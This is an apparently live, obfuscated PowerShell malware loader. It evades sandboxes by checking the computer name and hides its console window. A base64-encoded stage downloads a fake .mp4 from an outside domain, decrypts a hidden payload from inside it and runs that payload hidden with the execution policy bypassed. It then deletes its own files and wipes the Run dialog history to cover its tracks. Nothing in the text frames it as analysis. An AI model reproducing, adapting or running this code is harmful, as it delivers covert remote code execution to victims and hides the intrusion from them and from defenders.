<# #> $Kp2xzdcxwD = [string]::Concat('Comp','uter','Name') $Bgtmd3CAp = [Environment]::GetEnvironmentVariable($Kp2xzdcxwD) $vin319ckyV = [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('KkNMRUFOKg==')) if ($Bgtmd3CAp -like $vin319ckyV) { return } $BTYU2JvsX8qm = (Get-Item -LiteralPath ('Env:'+('Com'+'puter'+'Name')) -ErrorAction SilentlyContinue).Value $sjEVGXki0t = @(38,41,32,43) $aGGJnmsJR = -join ($sjEVGXki0t | ForEach-Object { [char]($_ -bxor 101) }) if ($BTYU2JvsX8qm -and $BTYU2JvsX8qm -match $aGGJnmsJR) { return } $__hc = @' using System; using System.Runtime.InteropServices; public class __HideConsole { [DllImport("kernel32.dll")] public static extern IntPtr GetConsoleWindow(); [DllImport("user32.dll")] public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow); } '@ if (-not ('__HideConsole' -as [type])) { try { Add-Type -TypeDefinition $__hc -ErrorAction Stop } catch {} } if ('__HideConsole' -as [type]) { $__hwnd = [__HideConsole]::GetConsoleWindow() if ($__hwnd -ne [IntPtr]::Zero) { [void][__HideConsole]::ShowWindow($__hwnd, 0) } } $eQjJhtQUubj = Get-Random -Minimum 0 -Maximum 80 Start-Sleep -Milliseconds $eQjJhtQUubj $N3myPt4VqW = Join-Path $env:ProgramData $([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('LmNoX2IyMzFlNzg1MzliZg=='))) if (Test-Path $N3myPt4VqW) { exit 0 } $__chB64 = 'JEVycm9yQWN0aW9uUHJlZmVyZW5jZSA9ICdTaWxlbnRseUNvbnRpbnVlJwpBZGQtVHlwZSAtQXNzZW1ibHlOYW1lIFN5c3RlbS5JTy5Db21wcmVzc2lvbgppZiAoLW5vdCAoJ19fWDY1M2NiM2ZhNzQnIC1hcyBbdHlwZV0pKSB7CkFkZC1UeXBlIC1SZWZlcmVuY2VkQXNzZW1ibGllcyBTeXN0ZW0uSU8uQ29tcHJlc3Npb24gQCcKdXNpbmcgU3lzdGVtOwp1c2luZyBTeXN0ZW0uSU87CnVzaW5nIFN5c3RlbS5JTy5Db21wcmVzc2lvbjsKdXNpbmcgU3lzdGVtLlRleHQ7CnB1YmxpYyBzdGF0aWMgY2xhc3MgX19YNjUzY2IzZmE3NCB7CiAgc3RhdGljIGludCBSZWFkSW50KGJ5dGVbXSBiLCBpbnQgbykgewogICAgcmV0dXJuICgoYltvXSAmIDB4RkYpIDw8IDI0KSB8ICgoYltvICsgMV0gJiAweEZGKSA8PCAxNikgfCAoKGJbbyArIDJdICYgMHhGRikgPDwgOCkgfCAoYltvICsgM10gJiAweEZGKTsKICB9CiAgc3RhdGljIHN0cmluZyBEZWNyeXB0QmxvYihieXRlW10gYmxvYikgewogICAgYnl0ZVtdIG1hZ2ljID0gbmV3IGJ5dGVbXSB7IDI1MywxNDYsMjQ2LDI5IH07CiAgICBmb3IgKGludCBpID0gMDsgaSA8IG1hZ2ljLkxlbmd0aDsgaSsrKSBpZiAoYmxvYltpXSAhPSBtYWdpY1tpXSkgdGhyb3cgbmV3IEV4Y2VwdGlvbigiYmFkIGJsb2IiKTsKICAgIGludCBrZXlMZW4gPSAoYmxvYls0XSA8PCA4KSB8IGJsb2JbNV07CiAgICBpbnQgbyA9IDY7CiAgICB2YXIga2V5ID0gbmV3IGJ5dGVba2V5TGVuXTsKICAgIEJ1ZmZlci5CbG9ja0NvcHkoYmxvYiwgbywga2V5LCAwLCBrZXlMZW4pOyBvICs9IGtleUxlbjsKICAgIGludCBkYXRhTGVuID0gUmVhZEludChibG9iLCBvKTsgbyArPSA0OwogICAgdmFyIGVuYyA9IG5ldyBieXRlW2RhdGFMZW5dOwogICAgQnVmZmVyLkJsb2NrQ29weShibG9iLCBvLCBlbmMsIDAsIGRhdGFMZW4pOwogICAgZm9yIChpbnQgaSA9IDA7IGkgPCBkYXRhTGVuOyBpKyspIGVuY1tpXSBePSBrZXlbaSAlIGtleUxlbl07CiAgICB1c2luZyAodmFyIGNtcyA9IG5ldyBNZW1vcnlTdHJlYW0oZW5jKSkKICAgIHVzaW5nICh2YXIgZ3ogPSBuZXcgR1ppcFN0cmVhbShjbXMsIENvbXByZXNzaW9uTW9kZS5EZWNvbXByZXNzKSkKICAgIHVzaW5nICh2YXIgc3IgPSBuZXcgU3RyZWFtUmVhZGVyKGd6LCBFbmNvZGluZy5VVEY4KSkgewogICAgICByZXR1cm4gc3IuUmVhZFRvRW5kKCk7CiAgICB9CiAgfQogIHN0YXRpYyBieXRlW10gRmluZFV1aWRQYXlsb2FkKGJ5dGVbXSBkYXRhLCBieXRlW10gaWQpIHsKICAgIGludCBpID0gMDsKICAgIHdoaWxlIChpICsgOCA8PSBkYXRhLkxlbmd0aCkgewogICAgICBpbnQgc2l6ZSA9IFJlYWRJbnQoZGF0YSwgaSk7CiAgICAgIGlmIChzaXplIDwgMjQgfHwgaSArIHNpemUgPiBkYXRhLkxlbmd0aCkgeyBpKys7IGNvbnRpbnVlOyB9CiAgICAgIGlmIChkYXRhW2kgKyA0XSA9PSAoYnl0ZSkndScgJiYgZGF0YVtpICsgNV0gPT0gKGJ5dGUpJ3UnICYmIGRhdGFbaSArIDZdID09IChieXRlKSdpJyAmJiBkYXRhW2kgKyA3XSA9PSAoYnl0ZSknZCcpIHsKICAgICAgICBib29sIG9rID0gdHJ1ZTsKICAgICAgICBmb3IgKGludCBqID0gMDsgaiA8IDE2OyBqKyspIGlmIChkYXRhW2kgKyA4ICsgal0gIT0gaWRbal0pIHsgb2sgPSBmYWxzZTsgYnJlYWs7IH0KICAgICAgICBpZiAob2spIHsKICAgICAgICAgIHZhciBwYXlsb2FkID0gbmV3IGJ5dGVbc2l6ZSAtIDI0XTsKICAgICAgICAgIEJ1ZmZlci5CbG9ja0NvcHkoZGF0YSwgaSArIDI0LCBwYXlsb2FkLCAwLCBwYXlsb2FkLkxlbmd0aCk7CiAgICAgICAgICByZXR1cm4gcGF5bG9hZDsKICAgICAgICB9CiAgICAgIH0KICAgICAgaWYgKHNpemUgPCA4KSB7IGkrKzsgY29udGludWU7IH0KICAgICAgaSArPSBzaXplOwogICAgfQogICAgdGhyb3cgbmV3IEV4Y2VwdGlvbigidXVpZCBib3ggbWlzc2luZyIpOwogIH0KICBwdWJsaWMgc3RhdGljIHN0cmluZyBGcm9tQ2FycmllcihieXRlW10gcmF3LCBzdHJpbmcga2V5LCBieXRlW10gdXVpZElkKSB7CiAgICBpZiAodXVpZElkICE9IG51bGwgJiYgdXVpZElkLkxlbmd0aCA9PSAxNikgewogICAgICByZXR1cm4gRGVjcnlwdEJsb2IoRmluZFV1aWRQYXlsb2FkKHJhdywgdXVpZElkKSk7CiAgICB9CiAgICB0aHJvdyBuZXcgRXhjZXB0aW9uKCJiYWQgY2FycmllciIpOwogIH0KfQonQCAtRXJyb3JBY3Rpb24gU3RvcAp9CiRfX2NoVXVpZCA9IFtieXRlW11dKDE4NSwyMzQsMTI4LDU5LDIzNywxOTYsNzMsMTc3LDE1MywyNDAsMzIsMjM5LDExNywxODUsMjA4LDE3NykKJF9fdXJsID0gJChbVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKFtDb252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnYTJGeWJHVnVZV2RwWkdFdVkyOXRMekV5TXk1dGNEUT0nKSkpCgp0cnkgeyBbTmV0LlNlcnZpY2VQb2ludE1hbmFnZXJdOjpTZWN1cml0eVByb3RvY29sID0gW05ldC5TZWN1cml0eVByb3RvY29sVHlwZV06OlRsczEyIH0gY2F0Y2gge30KJF9fcmF3Qnl0ZXMgPSAkbnVsbAp0cnkgewogICAgJF9fZGwgPSBbTmV0Lkh0dHAuSHR0cENsaWVudF06Om5ldygpCiAgICAkX19kbC5UaW1lb3V0ID0gW1RpbWVTcGFuXTo6RnJvbVNlY29uZHMoMTIwKQogICAgJF9fcmF3Qnl0ZXMgPSAkX19kbC5HZXRCeXRlQXJyYXlBc3luYygkX191cmwpLkdldEF3YWl0ZXIoKS5HZXRSZXN1bHQoKQogICAgJF9fZGwuRGlzcG9zZSgpCn0gY2F0Y2gge30KaWYgKC1ub3QgJF9fcmF3Qnl0ZXMgLW9yICRfX3Jhd0J5dGVzLkxlbmd0aCAtbHQgNjQpIHsKICAgIHRyeSB7CiAgICAgICAgJF9fd2MgPSBOZXctT2JqZWN0IE5ldC5XZWJDbGllbnQKICAgICAgICAkX193Yy5IZWFkZXJzLkFkZCgnVXNlci1BZ2VudCcsICdNb3ppbGxhLzUuMCAoV2luZG93cyBOVCAxMC4wOyBXaW42NDsgeDY0KScpCiAgICAgICAgJF9fcmF3Qnl0ZXMgPSAkX193Yy5Eb3dubG9hZERhdGEoJF9fdXJsKQogICAgfSBjYXRjaCB7fQp9CgppZiAoLW5vdCAkX19yYXdCeXRlcyAtb3IgJF9fcmF3Qnl0ZXMuTGVuZ3RoIC1sdCA2NCkgewogICAgdHJ5IHsKICAgICAgICAkX19yZXNwID0gJigkKFtUZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHJpbmcoW0NvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCdTVzUyYjJ0bExWZGxZbEpsY1hWbGMzUT0nKSkpKSAtVXJpICRfX3VybCAtVXNlQmFzaWNQYXJzaW5nIC1UaW1lb3V0U2VjIDEyMAogICAgICAgIGlmICgkX19yZXNwIC1hbmQgJF9fcmVzcC5SYXdDb250ZW50U3RyZWFtKSB7CiAgICAgICAgICAgICRfX3Jhd0J5dGVzID0gJF9fcmVzcC5SYXdDb250ZW50U3RyZWFtLlRvQXJyYXkoKQogICAgICAgIH0KICAgIH0gY2F0Y2gge30KfQppZiAoLW5vdCAkX19yYXdCeXRlcyAtb3IgJF9fcmF3Qnl0ZXMuTGVuZ3RoIC1sdCA2NCkgeyBleGl0IDEgfQoKJF9fcGF5bG9hZCA9IFtfX1g2NTNjYjNmYTc0XTo6RnJvbUNhcnJpZXIoJF9fcmF3Qnl0ZXMsICJkYXRhIiwgJF9fY2hVdWlkKQokX19jaFBzMSA9IEpvaW4tUGF0aCAkZW52OlRFTVAgKFtndWlkXTo6TmV3R3VpZCgpLlRvU3RyaW5nKCdOJykgKyAnLnBzMScpCltJTy5GaWxlXTo6V3JpdGVBbGxUZXh0KCRfX2NoUHMxLCAkX19wYXlsb2FkLCAoTmV3LU9iamVjdCBTeXN0ZW0uVGV4dC5VVEY4RW5jb2RpbmcgJGZhbHNlKSkKU3RhcnQtUHJvY2VzcyAtRmlsZVBhdGggJ3Bvd2Vyc2hlbGwuZXhlJyAtQXJndW1lbnRMaXN0IEAoJy1Ob1Byb2ZpbGUnLCctRXhlY3V0aW9uUG9saWN5JywnQnlwYXNzJywnLVdpbmRvd1N0eWxlJywnSGlkZGVuJywnLUZpbGUnLCRfX2NoUHMxKSAtV2luZG93U3R5bGUgSGlkZGVuIC1XYWl0CnRyeSB7IFJlbW92ZS1JdGVtIC1MaXRlcmFsUGF0aCAkX19jaFBzMSAtRm9yY2UgLUVycm9yQWN0aW9uIFNpbGVudGx5Q29udGludWUgfSBjYXRjaCB7fQp0cnkgewogICAgJHJ1bk1ydVBhdGggPSAnSEtDVTpcU29mdHdhcmVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cRXhwbG9yZXJcUnVuTVJVJwogICAgaWYgKFRlc3QtUGF0aCAkcnVuTXJ1UGF0aCkgewogICAgICAgIFJlbW92ZS1JdGVtUHJvcGVydHkgLVBhdGggJHJ1bk1ydVBhdGggLU5hbWUgKiAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZQogICAgfQp9IGNhdGNoIHt9CnRyeSB7IFJlbW92ZS1JdGVtIC1MaXRlcmFsUGF0aCAkUFNDb21tYW5kUGF0aCAtRm9yY2UgLUVycm9yQWN0aW9uIFNpbGVudGx5Q29udGludWUgfSBjYXRjaCB7fQpleGl0Cg==' $__chWorker = [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($__chB64)) $__chPath = Join-Path $env:TEMP ([guid]::NewGuid().ToString('N') + '.ps1') [IO.File]::WriteAllText($__chPath, $__chWorker, (New-Object System.Text.UTF8Encoding $false)) Start-Process -FilePath 'powershell.exe' -ArgumentList @('-NoProfile','-ExecutionPolicy','Bypass','-WindowStyle','Hidden','-File',$__chPath) -WindowStyle Hidden exit